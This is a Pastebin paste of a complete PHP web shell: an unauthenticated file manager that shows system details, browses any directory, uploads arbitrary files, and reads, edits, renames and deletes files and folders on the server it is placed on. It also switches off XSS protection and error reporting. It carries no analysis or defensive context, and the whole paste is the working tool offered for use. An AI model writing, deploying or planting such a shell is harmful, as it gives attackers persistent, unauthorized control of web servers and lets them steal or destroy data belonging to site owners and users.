M0usanony

bibil

Jun 10th, 2026
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.18 KB | None | 0 0
  1. <?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
  2. echo '<html>
  3. <center>
  4. <body>
  5. <table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
  6. ';
  7. echo "<font color='green'>".php_uname()."</font></tr></td></center></table>";
  8. echo '<table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
  9. <tr align="center"><td align="center"><br>';
  10. if(isset($_GET['j'])){
  11. $j = $_GET['j'];
  12. }else{
  13. $j = getcwd();
  14. }
  15. $j = str_replace('\\','/',$j);
  16. $paths = explode('/',$j);
  17. foreach($paths as $id=>$pat){
  18. if($pat == '' && $id == 0){
  19. $a = true;
  20. echo '<a href="?j=/">/</a>';
  21. continue;
  22. }
  23. if($pat == '') continue;
  24. echo '<a href="?j=';
  25. for($i=0;$i<=$id;$i++){
  26. echo "$paths[$i]";
  27. if($i != $id) echo "/";
  28. }
  29. echo '">'.$pat.'</a>/';
  30. }
  31. echo '<br><br><br><font color="black"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:black;;" required/></font>
  32. <input type="submit" value="U" style="width:85px;height:25px"/>';
  33. if(isset($_FILES['file'])){
  34. if(copy($_FILES['file']['tmp_name'],$j.'/'.$_FILES['file']['name'])){
  35. echo '<br><br><font color="green">OK</font><br/>';
  36. }else{
  37. echo '<script>alert("NO")</script>';
  38. }
  39. }
  40. echo '</form></td></tr>';
  41. if(isset($_GET['filesrc'])){
  42. echo "<tr><td> ";
  43. echo $_GET['filesrc'];
  44. echo '</tr></td></table><br />';
  45. echo(' <textarea style="font-size: 8px; border: 1px solid white; background-color: green; color: white; width: 100%;height: 1200px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  46. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  47. echo '</table><br /><center>'.$_POST['j'].'<br /><br />';
  48. if($_GET['opt'] == 'btw'){
  49. $cwd = getcwd();
  50. echo '<form action="?option&j='.$cwd.'&opt=delete&type=buat" method="POST"><input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
  51. <input type="hidden" name="j" value="'.$cwd.'">
  52. <input type="hidden" name="opt" value="delete">
  53. <input type="submit" value=">>>" style="width:100px; height: 30px;"/>
  54. </form>';
  55. }
  56. elseif($_POST['opt'] == 'rename'){
  57. if(isset($_POST['newname'])){
  58. if(rename($_POST['j'],$j.'/'.$_POST['newname'])){
  59. echo '<br><br><font color="green">OK</font><br/>';
  60. }else{
  61. echo '<script>alert("NO")</script>';
  62. }
  63. $_POST['name'] = $_POST['newname'];
  64. }
  65. echo '<form method="POST"><input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />
  66. <input type="hidden" name="j" value="'.$_POST['j'].'">
  67. <input type="hidden" name="opt" value="rename">
  68. <input type="submit" value=">>>" style="height:30px;" />
  69. </form>';
  70. }
  71. elseif($_POST['opt'] == 'edit'){
  72. if(isset($_POST['src'])){
  73. $fp = fopen($_POST['j'],'w');
  74. if(fwrite($fp,$_POST['src'])){
  75. echo '<br><br><font color="green">OK</font><br/>';
  76. }else{
  77. echo '<script>alert("NO")</script>';
  78. }
  79. fclose($fp);
  80. }
  81. echo '<form method="POST">
  82. <textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: green; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['j'])).'</textarea><br />
  83. <input type="hidden" name="j" value="'.$_POST['j'].'">
  84. <input type="hidden" name="opt" value="edit">
  85. <input type="submit" value=">>>" style="height:30px; width:70px;"/>
  86. </form>';
  87. }
  88. echo '</center>';
  89. }else{
  90. echo '</table><br /><center>';
  91. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  92. if($_POST['type'] == 'g'){
  93. if(rmdir($_POST['j'])){
  94. echo '<br><br><font color="green">OK</font><br/>';
  95. }else{
  96. echo '<script>alert("NO")</script>>';
  97. }
  98. }
  99. elseif($_POST['type'] == 'file'){
  100. if(unlink($_POST['j'])){
  101. echo '<br><br><font color="green">OK</font><br/>';
  102. }else{
  103. echo '<script>alert("NO")</script>';
  104. }
  105. }
  106. }
  107. ?>
  108. <?php
  109. echo '</center>';
  110. $scandir = scandir($j);
  111. $pa = getcwd();
  112. echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  113. <tr>';
  114. foreach($scandir as $g){
  115. if(!is_dir("$j/$g") || $g == '.' || $g == '..') continue;
  116. echo "<tr>
  117. <td class=td_home>D<a href=\"?j=$j/$g\"> $g</a></td>
  118. <td class=td_home><center>D</center></td>
  119. <td class=td_home><center>";
  120. if(is_writable("$j/$g")) echo '<font color="black">';
  121. elseif(!is_readable("$j/$g")) echo '<font color="red">';
  122. echo z("$j/$g");
  123. if(is_writable("$j/$g") || !is_readable("$j/$g")) echo '</font>';
  124. echo "</center></td>
  125. <td class=td_home align=right> <form method=\"POST\" action=\"?option&j=$j\">
  126. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15\">
  127. <option value=\"Action\">+</option>
  128. <option value=\"delete\">Delete</option>
  129. <option value=\"rename\">Rename</option>
  130. </select>
  131. <input type=\"hidden\" name=\"type\" value=\"g\">
  132. <input type=\"hidden\" name=\"j\" value=\"$j/$g\">
  133. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15\"/>
  134. </form></center></td>
  135. </tr>";
  136. }
  137. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  138. foreach($scandir as $file){
  139. if(!is_file("$j/$file")) continue;
  140. $size = filesize("$j/$file")/1024;
  141. $size = round($size,3);
  142. if($size >= 1024){
  143. $size = round($size/1024,2).' MB';
  144. }else{
  145. $size = $size.' KB';
  146. }
  147. echo "<tr>
  148. <td class=td_home>F<a href=\"?filesrc=$j/$file&j=$j\"> $file</a></td>
  149. <td class=td_home><center>".$size."</center></td>
  150. <td class=td_home><center>";
  151. if(is_writable("$j/$file")) echo '<font color="green">';
  152. elseif(!is_readable("$j/$file")) echo '<font color="red">';
  153. echo z("$j/$file");
  154. if(is_writable("$j/$file") || !is_readable("$j/$file")) echo '</font>';
  155. echo "</center></td>
  156. <td class=td_home align=right> <form method=\"POST\" action=\"?option&j=$j\">
  157. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15\">
  158. <option value=\"Action\">+</option>
  159. <option value=\"delete\">Delete</option>
  160. <option value=\"edit\">Edit</option>
  161. <option value=\"rename\">Rename</option>
  162. </select>
  163. <input type=\"hidden\" name=\"type\" value=\"file\">
  164. <input type=\"hidden\" name=\"name\" value=\"$file\">
  165. <input type=\"hidden\" name=\"j\" value=\"$j/$file\">
  166. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15\"/>
  167. </form></center></td>
  168. </tr>";
  169. }
  170. echo '</table>
  171. </div>';
  172. }
  173. function z($file){
  174. $z = fileperms($file);
  175. if (($z & 0xC000) == 0xC000) {
  176. $info = 's';
  177. } elseif (($z & 0xA000) == 0xA000) {
  178. $info = '4';
  179. } elseif (($z & 0x8000) == 0x8000) {
  180. $info = '0';
  181. } elseif (($z & 0x6000) == 0x6000) {
  182. $info = '3';
  183. } elseif (($z & 0x4000) == 0x4000) {
  184. $info = '3';
  185. } elseif (($z & 0x2000) == 0x2000) {
  186. $info = 'c';
  187. } elseif (($z & 0x1000) == 0x1000) {
  188. $info = 'p';
  189. } else {
  190. $info = '5';
  191. }
  192. $info .= (($z & 0x0100) ? '2' : '0');
  193. $info .= (($z & 0x0080) ? '1' : '0');
  194. $info .= (($z & 0x0040) ?
  195. (($z & 0x0800) ? 's' : '6' ) :
  196. (($z & 0x0800) ? 'S' : '0'));
  197. $info .= (($z & 0x0020) ? '2' : '0');
  198. $info .= (($z & 0x0010) ? '1' : '0');
  199. $info .= (($z & 0x0008) ?
  200. (($z & 0x0400) ? 's' : '6' ) :
  201. (($z & 0x0400) ? 'S' : '0'));
  202. $info .= (($z & 0x0004) ? '2' : '0');
  203. $info .= (($z & 0x0002) ? '1' : '0');
  204. $info .= (($z & 0x0001) ?
  205. (($z & 0x0200) ? 't' : '6' ) :
  206. (($z & 0x0200) ? 'T' : '0'));
  207. return $info;
  208. }
  209. ?>
Add Comment
Please, Sign In to add comment